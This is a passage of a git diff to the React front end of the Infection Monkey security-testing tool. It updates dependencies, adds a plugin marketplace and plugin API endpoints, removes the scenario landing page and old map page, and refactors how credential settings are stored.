"1.64.2", + "sass-loader": "^13.3.2", + "speed-measure-webpack-plugin": "^1.5.0", + "style-loader": "^3.3.3", + "thread-loader": "^4.0.2", + "ts-loader": "^9.4.3", + "typescript": "^5.1.3", + "webpack": "^5.86.0", + "webpack-cli": "^5.1.4", + "webpack-dev-server": "^4.15.1" }, "dependencies": { - "@apidevtools/json-schema-ref-parser": "10.1.0", - "@emotion/react": "^11.10.6", - "@fortawesome/fontawesome-svg-core": "6.3.0", - "@fortawesome/free-regular-svg-icons": "6.3.0", - "@fortawesome/free-solid-svg-icons": "6.3.0", - "@fortawesome/react-fontawesome": "0.2.0", - "@material-ui/core": "^4.12.4", - "@material-ui/icons": "^4.11.3", - "@rjsf/bootstrap-4": "5.1.0", - "@rjsf/core": "5.1.0", - "@rjsf/utils": "5.1.0", - "@rjsf/validator-ajv8": "5.1.0", - "@types/react-router-dom": "5.3.3", + "@apidevtools/json-schema-ref-parser": "^10.1.0", + "@emotion/react": "^11.11.1", + "@emotion/styled": "^11.11.0", + "@fortawesome/fontawesome-svg-core": "^6.4.0", + "@fortawesome/free-regular-svg-icons": "^6.4.0", + "@fortawesome/free-solid-svg-icons": "^6.4.0", + "@fortawesome/react-fontawesome": "^0.2.0", + "@mui/icons-material": "^5.11.16", + "@mui/material": "^5.13.5", + "@mui/x-data-grid": "^6.7.0", + "@rjsf/bootstrap-4": "^5.8.1", + "@rjsf/core": "^5.8.1", + "@rjsf/utils": "^5.8.1", + "@rjsf/validator-ajv8": "^5.8.1", + "@types/react-router-dom": "^5.3.3", "async-mutex": "^0.4.0", "base64-js": "^1.5.1", - "bootstrap": "^4.6.2", - "core-js": "3.29.0", - "crypto-js": "4.1.1", - "downloadjs": "1.4.7", + "bootstrap": "^5.3.1", + "core-js": "^3.31.0", + "crypto-js": "^4.1.1", + "downloadjs": "^1.4.7", "email-validator": "^2.0.4", - "file-saver": "2.0.5", + "file-saver": "^2.0.5", "json-schema-merge-allof": "0.8.1", - "lodash": "4.17.21", - "mui-datatables": "^3.8.5", - "node-polyfill-webpack-plugin": "2.0.1", - "normalize.css": "8.0.1", - "pluralize": "8.0.0", - "prop-types": "15.8.1", - "rainge": "1.0.1", - "rc-progress": "3.4.1", - "react": "^16.14.0", - "react-bootstrap": "^1.6.6", - "react-copy-to-clipboard": "5.1.0", + "lodash": "^4.17.21", + "markdown-to-jsx": "^7.3.2", + "nanoid": "^4.0.2", + "node-polyfill-webpack-plugin": "^2.0.1", + "normalize.css": "^8.0.1", + "pluralize": "^8.0.0", + "prop-types": "^15.8.1", + "rainge": "^1.0.1", + "rc-progress": "^3.4.2", + "react": "^18.2.0", + "react-bootstrap": "^1.6.7", + "react-copy-to-clipboard": "^5.1.0", "react-desktop-notification": "^1.0.9", - "react-dom": "^16.14.0", - "react-graph-vis": "1.0.7", - "react-json-tree": "0.18.0", - "react-markdown": "8.0.5", - "react-router-dom": "6.8.2", - "react-spinners": "0.13.8", - "react-table": "^6.11.5", - "react-timer-hook": "^3.0.5", - "react-tsparticles": "^1.43.1", - "remark-breaks": "3.0.2", + "react-dom": "^18.2.0", + "react-dropzone": "^14.2.3", + "react-json-tree": "^0.18.0", + "react-markdown": "^8.0.7", + "react-router-dom": "^6.15.0", + "react-spinners": "^0.13.8", + "react-timer-hook": "^3.0.6", + "react-tsparticles": "^2.10.1", + "react-vis-graph-wrapper": "^0.1.3", + "remark-breaks": "^3.0.3", "request": "^2.88.2", - "semver": "7.3.8", - "source-map-loader": "4.0.1" + "semver": "^7.5.2", + "source-map-loader": "^4.0.1", + "tsparticles": "^2.10.1" }, "snyk": true } diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx index 93035193f87..b772aec37cb 100644 --- a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx +++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx @@ -17,14 +17,32 @@ export enum APIEndpoint { machines = '/api/machines', nodes = '/api/nodes', agentEvents = '/api/agent-events', - mode = '/api/island/mode', monkey_exploitation = '/api/exploitations/monkey', stolenCredentials = '/api/propagation-credentials/stolen-credentials', linuxMasque = '/api/agent-binaries/linux/masque', - windowsMasque = '/api/agent-binaries/windows/masque' + windowsMasque = '/api/agent-binaries/windows/masque', + installAgentPlugin = '/api/install-agent-plugin', + uninstallAgentPlugin = '/api/uninstall-agent-plugin', + agentPluginIndex = '/api/agent-plugins/available/index', + agentPluginIndexForceRefresh = `${APIEndpoint.agentPluginIndex}?force_refresh=true`, + agentPluginManifests = '/api/agent-plugins/installed/manifests' } class IslandHttpClient extends AuthComponent { + post(endpoint: string, contents: any, refreshToken: boolean = false): Promise { + const headers = {'Content-Type': 'application/octet-stream'}; + return this._post(endpoint, contents, headers, refreshToken); + } + + postJSON(endpoint: string, contents: any, refreshToken: boolean = false): Promise { + const headers = {'Content-Type': 'application/json'}; + return this._post(endpoint, JSON.stringify(contents), headers, refreshToken); + } + + _post(endpoint: string, contents: any, headers: Record={}, refreshToken: boolean = false): Promise { + return this._makeRequest('POST', endpoint, contents, headers, refreshToken) + } + put(endpoint: string, contents: any, refreshToken: boolean = false): Promise { const headers = {'Content-Type': 'application/octet-stream'}; return this._put(endpoint, contents, headers, refreshToken); @@ -35,11 +53,15 @@ class IslandHttpClient extends AuthComponent { return this._put(endpoint, JSON.stringify(contents), headers, refreshToken); } - _put(endpoint: string, contents: any, headers: Record, refreshToken: boolean = false): Promise { + _put(endpoint: string, contents: any, headers: Record={}, refreshToken: boolean = false): Promise { + return this._makeRequest('PUT', endpoint, contents, headers, refreshToken) + } + + _makeRequest(method: string, endpoint: string, contents: any, headers: Record={}, refreshToken: boolean = false): Promise { let status = null; return this.authFetch(endpoint, { - method: 'PUT', + method: method, headers: headers, body: contents }, diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 45323c90171..fb1dc229468 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -1,7 +1,6 @@ import React from 'react'; import {BrowserRouter as Router, Route, Routes, Navigate} from 'react-router-dom'; import {Container} from 'react-bootstrap'; - import ConfigurePage from './pages/ConfigurePage.js'; import RunMonkeyPage from './pages/RunMonkeyPage/RunMonkeyPage'; import MapPageWrapper from './map/MapPageWrapper'; @@ -11,29 +10,24 @@ import LicensePage from './pages/LicensePage'; import AuthComponent from './AuthComponent'; import LoginPageComponent from './pages/LoginPage'; import RegisterPageComponent from './pages/RegisterPage'; -import LandingPage from "./pages/LandingPage"; import Notifier from 'react-desktop-notification'; import NotFoundPage from './pages/NotFoundPage'; import GettingStartedPage from './pages/GettingStartedPage'; - - import 'normalize.css/normalize.css'; import 'styles/App.css'; -import 'react-table/react-table.css'; import LoadingScreen from './ui-components/LoadingScreen'; import SidebarLayoutComponent from "./layouts/SidebarLayoutComponent"; import {CompletedSteps} from "./side-menu/CompletedSteps"; import Timeout = NodeJS.Timeout; -import IslandHttpClient, { APIEndpoint } from "./IslandHttpClient"; -import {FontAwesomeIcon} from "@fortawesome/react-fontawesome"; -import {faFileCode, faLightbulb} from "@fortawesome/free-solid-svg-icons"; -import { doesAnyAgentExist, didAllAgentsShutdown } from './utils/ServerUtils'; +import {doesAnyAgentExist, didAllAgentsShutdown} from './utils/ServerUtils'; import LogoutPage from './pages/LogoutPage'; +import MarketplacePage from './pages/MarketplacePage'; +import PluginsProvider from './contexts/plugins/PluginsProvider'; +import {PluginState} from './contexts/plugins/PluginsContext'; let notificationIcon = require('../images/notification-logo-512x512.png'); export const IslandRoutes = { - LandingPage: '/landing-page', GettingStartedPage: '/', Report: '/report', SecurityReport: '/report/security', @@ -42,27 +36,38 @@ export const IslandRoutes = { RegisterPage: '/register', Logout: '/logout', ConfigurePage: '/configure', + Marketplace: '/marketplace', RunMonkeyPage: '/run-monkey', MapPage: '/infection/map', EventPage: '/infection/events', - LicensePage: '/license' + LicensePage: '/license', + PluginsPage: '/marketplace', } -export function isReportRoute(route){ +export function isReportRoute(route) { return route.startsWith(IslandRoutes.Report); } +function withPluginState(Component) { + return function PluginStateComponent(props) { + const pluginState = PluginState(); + return ( + + ); + }; +} + class AppComponent extends AuthComponent { private interval: Timeout; + private pluginsFetched: boolean; constructor(props) { super(props); this.state = { completedSteps: new CompletedSteps(false), - islandMode: undefined, }; this.interval = undefined; - this.setMode(); + this.pluginsFetched = false; } updateStatus = () => { @@ -88,72 +93,57 @@ class AppComponent extends AuthComponent { } if (res) { - this.setMode() - .then(() => { - if (this.state.islandMode === "unset") { - return - } - - // update status: report generation - this.authFetch('/api/report-generation-status', {}, false) - .then(res => res.json()) - .then(res => { - this.setState({ - completedSteps: new CompletedSteps( - this.state.completedSteps.runMonkey, - this.state.completedSteps.infectionDone, - res.report_done - ) - }); - }) + if(!this.pluginsFetched) { + this.props.pluginState.refreshAvailablePlugins(); + this.props.pluginState.refreshInstalledPlugins(); + this.pluginsFetched = true; + } - // update status: if any agent ran - doesAnyAgentExist(false).then(anyAgentExists => { - this.setState({ - completedSteps: new CompletedSteps( - anyAgentExists, - this.state.completedSteps.infectionDone, - this.state.completedSteps.reportDone - ) - }); + // update status: report generation + this.authFetch('/api/report-generation-status', {}, false) + .then(res => res.json()) + .then(res => { + this.setState({ + completedSteps: new CompletedSteps( + this.state.completedSteps.runMonkey, + this.state.completedSteps.infectionDone, + res.report_done + ) }); + }) - // update status: if infection (running and shutting down of all agents) finished - didAllAgentsShutdown(false).then(allAgentsShutdown => { - let infectionDone = this.state.completedSteps.runMonkey && allAgentsShutdown; - if(this.state.completedSteps.infectionDone === false - && infectionDone){ - this.showInfectionDoneNotification(); - } - this.setState({ - completedSteps: new CompletedSteps( - this.state.completedSteps.runMonkey, - infectionDone, - this.state.completedSteps.reportDone - ) - }); - }); + // update status: if any agent ran + doesAnyAgentExist(false).then(anyAgentExists => { + this.setState({ + completedSteps: new CompletedSteps( + anyAgentExists, + this.state.completedSteps.infectionDone, + this.state.completedSteps.reportDone + ) + }); + }); + + // update status: if infection (running and shutting down of all agents) finished + didAllAgentsShutdown(false).then(allAgentsShutdown => { + let infectionDone = this.state.completedSteps.runMonkey && allAgentsShutdown; + if (this.state.completedSteps.infectionDone === false && infectionDone) { + this.showInfectionDoneNotification(); } - ) + this.setState({ + completedSteps: new CompletedSteps( + this.state.completedSteps.runMonkey, + infectionDone, + this.state.completedSteps.reportDone + ) + }); + }); } }; - setMode = () => { - return IslandHttpClient.getJSON(APIEndpoint.mode) - .then(res => { - this.setState({islandMode: res.body}); - }); - } - renderRoute = (route_path, page_component) => { let render_func = () => { switch (this.state.isLoggedIn) { case true: - if (this.needsRedirectionToLandingPage(route_path)) { - return ; - } else if (this.needsRedirectionToGettingStarted(route_path)) { - return ; - } return page_component; case false: switch (this.state.needsRegistration) { @@ -172,15 +162,6 @@ class AppComponent extends AuthComponent { return ; }; - needsRedirectionToLandingPage = (route_path) => { - return (this.state.islandMode === "unset" && route_path !== IslandRoutes.LandingPage) - } - - needsRedirectionToGettingStarted = (route_path) => { - return route_path === IslandRoutes.LandingPage && - this.state.islandMode !== "unset" && this.state.islandMode !== undefined - } - redirectTo = (userPath, targetPath) => { let pathQuery = new RegExp(userPath + '[/]?$', 'g'); if (window.location.pathname.match(pathQuery)) { @@ -198,75 +179,52 @@ class AppComponent extends AuthComponent { } getDefaultReport() { - if(this.state.islandMode === 'ransomware'){ - return IslandRoutes.RansomwareReport; - } else { - return IslandRoutes.SecurityReport; - } - } - - getIslandModeTitle(){ - if(this.state.islandMode === 'ransomware'){ - return this.formIslandModeTitle("Ransomware", faFileCode); - } else { - return this.formIslandModeTitle("Custom", faLightbulb); - } - } - - formIslandModeTitle(title, icon){ - return (<> -
- {title} -
- ) + return IslandRoutes.SecurityReport; } render() { - - let defaultSideNavProps = {completedSteps: this.state.completedSteps, - onStatusChange: this.updateStatus, - islandMode: this.state.islandMode, - defaultReport: this.getDefaultReport(), - sideNavHeader: this.getIslandModeTitle(), - onLogout: () => {this.auth.logout() - .then(() => this.updateStatus())}}; + let defaultSideNavProps = { + completedSteps: this.state.completedSteps, + onStatusChange: this.updateStatus, + defaultReport: this.getDefaultReport(), + onLogout: () => { + this.auth.logout() + .then(() => this.updateStatus()) + } + }; return ( - + }/> }/> - }/> - {this.renderRoute(IslandRoutes.LandingPage, - )} - {this.renderRoute(IslandRoutes.GettingStartedPage, - )} - {this.renderRoute(IslandRoutes.ConfigurePage, - )} - {this.renderRoute(IslandRoutes.RunMonkeyPage, - )} - {this.renderRoute(IslandRoutes.MapPage, - )} - {this.renderRoute(IslandRoutes.EventPage, - )} - {this.redirectToReport()} - {this.renderRoute(IslandRoutes.SecurityReport, - )} - {this.renderRoute(IslandRoutes.RansomwareReport, - )} - {this.renderRoute(IslandRoutes.LicensePage, - )} + }/> + }> + {this.renderRoute(IslandRoutes.GettingStartedPage, + )} + {this.renderRoute(IslandRoutes.ConfigurePage, + )} + {this.renderRoute(IslandRoutes.RunMonkeyPage, + )} + {this.renderRoute(IslandRoutes.MapPage, + )} + {this.renderRoute(IslandRoutes.EventPage, + )} + {this.renderRoute(IslandRoutes.Marketplace, + )} + {this.redirectToReport()} + {this.renderRoute(IslandRoutes.SecurityReport, + )} + {this.renderRoute(IslandRoutes.RansomwareReport, + )} + {this.renderRoute(IslandRoutes.LicensePage, + )} + }/> @@ -275,11 +233,7 @@ class AppComponent extends AuthComponent { } redirectToReport() { - if (this.state.islandMode === 'ransomware') { - return this.redirectTo(IslandRoutes.Report, IslandRoutes.RansomwareReport) - } else { - return this.redirectTo(IslandRoutes.Report, IslandRoutes.SecurityReport) - } + return this.redirectTo(IslandRoutes.Report, IslandRoutes.SecurityReport) } showInfectionDoneNotification() { @@ -298,4 +252,4 @@ class AppComponent extends AuthComponent { } } -export default AppComponent; +export default withPluginState(AppComponent); diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index cc2cd693ea7..3e5b3e30c4a 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -1,4 +1,4 @@ -import React, {ReactFragment, useState} from 'react'; +import React, {ReactFragment, useContext, useState} from 'react'; import {Button} from 'react-bootstrap'; import {NavLink} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; @@ -10,6 +10,8 @@ import {CompletedSteps} from './side-menu/CompletedSteps'; import {isReportRoute, IslandRoutes} from './Main'; import Logo from './logo/LogoComponent'; import IslandResetModal from './ui-components/IslandResetModal'; +import {Badge} from '@mui/material'; +import {PluginsContext} from './contexts/plugins/PluginsContext'; const logoImage = require('../images/monkey-icon.svg'); @@ -34,6 +36,9 @@ const SideNavComponent = ({ onLogout, }: Props) => { + // @ts-ignore + const {numberOfPluginsThatRequiresUpdate} = useContext(PluginsContext); + const [showResetModal, setShowResetModal] = useState(false); return ( @@ -55,18 +60,16 @@ const SideNavComponent = ({ }
  • - - 1. - Run Monkey + + 1. Run Monkey {completedSteps.runMonkey ? : ''}
  • - - 2. - Infection Map + + 2. Infection Map {completedSteps.infectionDone ? : ''} @@ -74,10 +77,9 @@ const SideNavComponent = ({
  • - 3. - Security Reports + 3. Security Reports {completedSteps.reportDone ? : ''} @@ -99,7 +101,7 @@ const SideNavComponent = ({
    -
      +
      • Configuration @@ -108,6 +110,10 @@ const SideNavComponent = ({ className={getNavLinkClass()}> Events
      • +
      • + Plugins +
  • { async function fetchMapNodes(refreshToken: boolean) { await getCollectionObject(APIEndpoint.nodes, 'machine_id', refreshToken).then(nodeObj => setNodes(nodeObj)); await getCollectionObject(APIEndpoint.machines, 'id', refreshToken).then(machineObj => setMachines(machineObj)); - await getAllAgents(refreshToken).then(agents => setAgents(agents.sort())); + await getAllAgents(refreshToken).then(agents => setAgents(agents?.sort())); return getPropagationEvents(refreshToken).then(events => setPropagationEvents(events)); } @@ -60,7 +60,10 @@ const MapPageWrapper = (props) => { }, [mapNodes]); useEffect(() => { - setMapNodes(buildMapNodes()); + let newNodes = buildMapNodes(); + if (JSON.stringify(newNodes) !== JSON.stringify(mapNodes)) { + setMapNodes(newNodes); + } }, [nodes, machines, propagationEvents]); function addRelayCommunications(communications: Communications) { @@ -132,7 +135,7 @@ const MapPageWrapper = (props) => { return ip in propagationEvents } - return (); + return (); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 4a08183c8ee..b261d63364e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -12,7 +12,8 @@ import PropagationConfig, { EXPLOITERS_CONFIG_PATH } from '../configuration-components/PropagationConfig'; import MasqueradeConfig from '../configuration-components/MasqueradeConfig'; -import {CREDENTIALS_COLLECTORS_CONFIG_PATH} from '../configuration-components/PluginSelectorTemplate'; +import {CREDENTIALS_COLLECTORS_CONFIG_PATH, PAYLOADS_CONFIG_PATH} from '../configuration-components/PluginSelectorTemplate'; +import {CONFIGURATION_TABS} from '../configuration-components/ConfigurationTabs.js' import FormConfig from '../configuration-components/FormConfig'; import UnsafeConfigOptionsConfirmationModal from '../configuration-components/UnsafeConfigOptionsConfirmationModal.js'; @@ -24,7 +25,7 @@ import { import ConfigExportModal from '../configuration-components/ExportConfigModal'; import ConfigImportModal from '../configuration-components/ImportConfigModal'; import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; -import CONFIGURATION_TABS_PER_MODE from '../configuration-components/ConfigurationTabs.js'; +import CONFIGURATION_TABS_ORDER from '../configuration-components/ConfigurationTabs.js'; import {SCHEMA} from '../../services/configuration/configSchema.js'; import { reformatConfig, @@ -35,10 +36,9 @@ import {customizeValidator} from '@rjsf/validator-ajv8'; import LoadingIcon from '../ui-components/LoadingIcon'; import mergeAllOf from 'json-schema-merge-allof'; import RefParser from '@apidevtools/json-schema-ref-parser'; -import CREDENTIALS from '../../services/configuration/propagation/credentials'; import {MASQUERADE} from '../../services/configuration/masquerade'; import IslandHttpClient, {APIEndpoint} from '../IslandHttpClient'; - +import {nanoid} from 'nanoid'; const CONFIG_URL = '/api/agent-configuration'; const SCHEMA_URL = '/api/agent-configuration-schema'; const RESET_URL = '/api/reset-agent-configuration'; @@ -49,17 +49,16 @@ const configSaveAction = 'config-saved'; const EMPTY_BYTES_ARRAY = new Uint8Array(new ArrayBuffer(0)); - class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - this.currentSection = this.getSectionsOrder()[0]; + this.currentSection = CONFIGURATION_TABS_ORDER[0]; this.validator = customizeValidator( {customFormats: formValidationFormats}); this.state = { configuration: {}, - credentials: {}, + credentials: {credentialsData: [], errors: [], id: null}, masqueStrings: {}, currentFormData: {}, importCandidateConfig: null, @@ -74,23 +73,18 @@ class ConfigurePageComponent extends AuthComponent { }; } - componentDidUpdate() { - if (!this.getSectionsOrder().includes(this.currentSection)) { - this.currentSection = this.getSectionsOrder()[0] - this.setState({selectedSection: this.currentSection}) + setCredentialsState = (rows = [], errors = [], isRequiredToUpdateId) => { + let newState = {credentials: {credentialsData: rows, errors: errors, id: this.state.credentials.id}}; + if(isRequiredToUpdateId) { + newState.credentials['id'] = nanoid(); } + this.setState(newState); } resetLastAction = () => { this.setState({lastAction: 'none'}); } - getSectionsOrder() { - let islandModeSet = (this.props.islandMode !== 'unset' && this.props.islandMode !== undefined) - let islandMode = islandModeSet ? this.props.islandMode : 'advanced' - return CONFIGURATION_TABS_PER_MODE[islandMode]; - } - componentDidMount = () => { this.authFetch(SCHEMA_URL, {}, true).then(res => res.json()) .then((schema) => { @@ -105,7 +99,7 @@ class ConfigurePageComponent extends AuthComponent { let sections = []; monkeyConfig = reformatConfig(monkeyConfig); - for (let sectionKey of this.getSectionsOrder()) { + for (let sectionKey of CONFIGURATION_TABS_ORDER) { sections.push({ key: sectionKey, title: SCHEMA.properties[sectionKey].title @@ -114,9 +108,10 @@ class ConfigurePageComponent extends AuthComponent { this.setState({ configuration: monkeyConfig, selectedPlugins: { - 'propagation': new Set(Object.keys(_.get(monkeyConfig, EXPLOITERS_CONFIG_PATH))), - 'credentials_collectors': new Set(Object.keys(_.get(monkeyConfig, CREDENTIALS_COLLECTORS_CONFIG_PATH))) - }, + [CONFIGURATION_TABS.PROPAGATION]: this.getSelectedPlugins(monkeyConfig, EXPLOITERS_CONFIG_PATH), + [CONFIGURATION_TABS.CREDENTIALS_COLLECTORS]: this.getSelectedPlugins(monkeyConfig, CREDENTIALS_COLLECTORS_CONFIG_PATH), + [CONFIGURATION_TABS.PAYLOADS]: this.getSelectedPlugins(monkeyConfig, PAYLOADS_CONFIG_PATH) + }, sections: sections, currentFormData: _.cloneDeep(monkeyConfig[this.state.selectedSection]) }) @@ -125,6 +120,10 @@ class ConfigurePageComponent extends AuthComponent { this.updateMasqueStrings(); }; + getSelectedPlugins = (config, pluginTypeConfigPath) => { + return new Set(Object.keys(_.get(config, pluginTypeConfigPath))) + } + onUnsafeConfirmationCancelClick = () => { this.setState({showUnsafeOptionsConfirmation: false, lastAction: 'none'}); } @@ -144,11 +143,9 @@ class ConfigurePageComponent extends AuthComponent { updateCredentials = () => { this.authFetch(CONFIGURED_PROPAGATION_CREDENTIALS_URL, {}, true) .then(res => res.json()) - .then(credentials => { - credentials = formatCredentialsForForm(credentials); - this.setState({ - credentials: credentials - }); + .then(credentialsData => { + const formattedCredentialsData = formatCredentialsForForm(credentialsData); + this.setCredentialsState(formattedCredentialsData, [], true); }); } @@ -191,8 +188,9 @@ class ConfigurePageComponent extends AuthComponent { data = reformatConfig(data); this.setState({ selectedPlugins: { - 'propagation': new Set(Object.keys(_.get(data, EXPLOITERS_CONFIG_PATH))), - 'credentials_collectors': new Set(Object.keys(_.get(data, CREDENTIALS_COLLECTORS_CONFIG_PATH))) + [CONFIGURATION_TABS.PROPAGATION]: this.getSelectedPlugins(data, EXPLOITERS_CONFIG_PATH), + [CONFIGURATION_TABS.CREDENTIALS_COLLECTORS]: this.getSelectedPlugins(data, CREDENTIALS_COLLECTORS_CONFIG_PATH), + [CONFIGURATION_TABS.PAYLOADS]: this.getSelectedPlugins(data, PAYLOADS_CONFIG_PATH) }, configuration: data, currentFormData: _.cloneDeep(data[this.state.selectedSection]) @@ -229,7 +227,11 @@ class ConfigurePageComponent extends AuthComponent { // Until the issue is fixed, we need to manually remove plugins that were not selected before // submitting/exporting the configuration filterUnselectedPlugins() { - let pluginTypes = {'propagation': EXPLOITERS_CONFIG_PATH, 'credentials_collectors': CREDENTIALS_COLLECTORS_CONFIG_PATH}; + let pluginTypes = { + [CONFIGURATION_TABS.PROPAGATION]: EXPLOITERS_CONFIG_PATH, + [CONFIGURATION_TABS.CREDENTIALS_COLLECTORS]: CREDENTIALS_COLLECTORS_CONFIG_PATH, + [CONFIGURATION_TABS.PAYLOADS]: PAYLOADS_CONFIG_PATH + }; let config = _.cloneDeep(this.state.configuration) for (let pluginType in pluginTypes){ @@ -265,7 +267,7 @@ class ConfigurePageComponent extends AuthComponent { Promise.all([sendCredentialsPromise, sendLinuxMasqueStringsPromise, sendWindowsMasqueStringsPromise]) .then(responses => { - if (responses.every(res => res.status === 204)) { + if (responses.every(res => res?.status === 204)) { this.sendConfig(config); } else { console.log('One or more requests failed.'); @@ -283,7 +285,7 @@ class ConfigurePageComponent extends AuthComponent { }; onCredentialChange = (credentials) => { - this.setState({credentials: credentials}); + this.setCredentialsState(credentials.credentialsData, credentials.errors, false); } onMasqueStringsChange = (masqueStrings) => { @@ -294,7 +296,7 @@ class ConfigurePageComponent extends AuthComponent { renderConfigExportModal = () => { return ( { this.setState({showConfigExportModal: false}); @@ -401,7 +403,7 @@ class ConfigurePageComponent extends AuthComponent { { method: 'PUT', headers: {'Content-Type': 'application/json'}, - body: JSON.stringify(formatCredentialsForIsland(this.state.credentials)) + body: JSON.stringify(formatCredentialsForIsland(this.state.credentials.credentialsData)) }, true ) @@ -412,7 +414,7 @@ class ConfigurePageComponent extends AuthComponent { return res; }).catch((error) => { console.log(`bad configuration ${error}`); - this.setState({lastAction: 'invalid_configuration'}); + this.setState({lastAction: 'invalid_credentials_configuration'}); })); } @@ -497,9 +499,9 @@ class ConfigurePageComponent extends AuthComponent { return true; } let errors = this.validator.validateFormData(this.state.configuration, this.state.schema); - let credentialErrors = this.validator.validateFormData(this.state.credentials, CREDENTIALS); + let credentialErrors = this.state.credentials.errors?.length > 0; let masqueradeErrors = this.validator.validateFormData(this.state.masqueStrings, MASQUERADE); - return errors.errors.length+credentialErrors.errors.length+masqueradeErrors.errors.length > 0 + return errors.errors.length+masqueradeErrors.errors.length > 0 || credentialErrors; } render() { @@ -512,7 +514,7 @@ class ConfigurePageComponent extends AuthComponent { let displayedSchema = {}; if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; - displayedSchema['definitions'] = this.state.schema['definitions']; + displayedSchema['definitions'] = this.state.schema?.['definitions']; } let content = ''; @@ -567,6 +569,12 @@ class ConfigurePageComponent extends AuthComponent { Configuration saved successfully. : ''} + {this.state.lastAction === 'invalid_credentials_configuration' ? +
    + + An invalid configuration file was imported or submitted. One or more of the credentials are invalid. +
    + : ''} {this.state.lastAction === 'invalid_configuration' ?
    diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx deleted file mode 100644 index 64ae5317d34..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx +++ /dev/null @@ -1,119 +0,0 @@ -import React from 'react'; -import {Col, Row} from 'react-bootstrap'; -import {Link} from 'react-router-dom'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faFileCode, faLightbulb} from '@fortawesome/free-solid-svg-icons'; -import '../../styles/pages/LandingPage.scss'; -import IslandHttpClient from '../IslandHttpClient'; - -import ParticleBackground from '../ui-components/ParticleBackground'; -import Logo from '../logo/LogoComponent'; - -const monkeyIcon = require('../../images/monkey-icon.svg') -const infectionMonkey = require('../../images/infection-monkey.svg') - -type Props = { - onStatusChange: () => void -} - -const LandingPageComponent = (props: Props) => { - return ( - <> - -
    - -
    - -
    -
    - - - -
    -
    - - - - ); - - - function ScenarioButtons() { - return ( -
    -

    Choose a scenario:

    -
    - - -
    - { - setScenario('ransomware') - }}> -

    Ransomware

    -

    Simulate ransomware infection in the network.

    - -
    -
    - { - setScenario('advanced') - }}> -

    Custom

    -

    Fine tune the simulation to your needs.

    - -
    -
    - -
    -
    - ); - } - - function setScenario(scenario: string) { - IslandHttpClient.putJSON('/api/island/mode', scenario, true) - .then(() => { - props.onStatusChange(); - }); - } -} - -function MonkeyInfo() { - return ( - <> -

    What is Infection Monkey?

    - Infection Monkey is an open-source security tool for testing a data center's resiliency to - perimeter - breaches and internal server infections. The Monkey uses various methods to propagate across a data center - and reports to this Monkey Island Command and Control server. - - ); -} - -function ScenarioInfo() { - return ( - <> -
    - Check the Infection Monkey documentation hub for more information - on - scenarios - . -
    - - ); -} - -function MonkeyBanner(props) { - return ( -
    - - -
    - ); -} - -export default LandingPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js deleted file mode 100644 index bd606aa3c90..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ /dev/null @@ -1,136 +0,0 @@ -import React from 'react'; -import { Col, Modal, Row } from 'react-bootstrap'; -import { Link } from 'react-router-dom'; -import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; -import { faStopCircle } from '@fortawesome/free-solid-svg-icons/faStopCircle'; -import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'; -import AuthComponent from '../AuthComponent'; -import '../../styles/components/Map.scss'; -import { faInfoCircle } from '@fortawesome/free-solid-svg-icons/faInfoCircle'; -import ReactiveGraph from '../reactive-graph/ReactiveGraph'; -import NodePreviewPane from '../map/preview-pane/NodePreviewPane'; - -class MapPageComponent extends AuthComponent { - constructor(props) { - super(props); - this.state = { - selected: null, - selectedType: null, - killPressed: false, - showKillDialog: false - }; - } - - events = { - click: event => this.selectionChanged(event) - }; - - selectionChanged(event) { - if (event.nodes.length === 1) { - for (const node of this.props.mapNodes) { - if (node.machineId === event.nodes[0]) { - this.setState({ selected: node, selectedType: 'node' }) - break; - } - } - } else { - this.setState({ selected: null, selectedType: null }); - } - } - - killAllMonkeys = () => { - this.authFetch('/api/agent-signals/terminate-all-agents', - { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - // Python uses floating point seconds, Date.now uses milliseconds, so convert - body: JSON.stringify({ timestamp: Date.now() / 1000.0 }) - }, - true - ) - .then(() => { this.setState({ killPressed: true }) }); - }; - - renderKillDialogModal = () => { - return ( - this.setState({ showKillDialog: false })}> - -

    -
    Are you sure you want to kill all monkeys?
    -

    -

    - This might take up to 2 minutes... -

    -
    - - -
    -
    -
    - ) - }; - - - render() { - return ( -
    - - {this.renderKillDialogModal()} - -

    2. Infection Map

    - - -
    - Legend: - Exploit - | - Scan - | - Tunnel - | - Island Communication -
    -
    - -
    - -
    -
    -
    - Monkey - Events - -
    - {this.state.killPressed ? -
    - - Kill command sent to all monkeys -
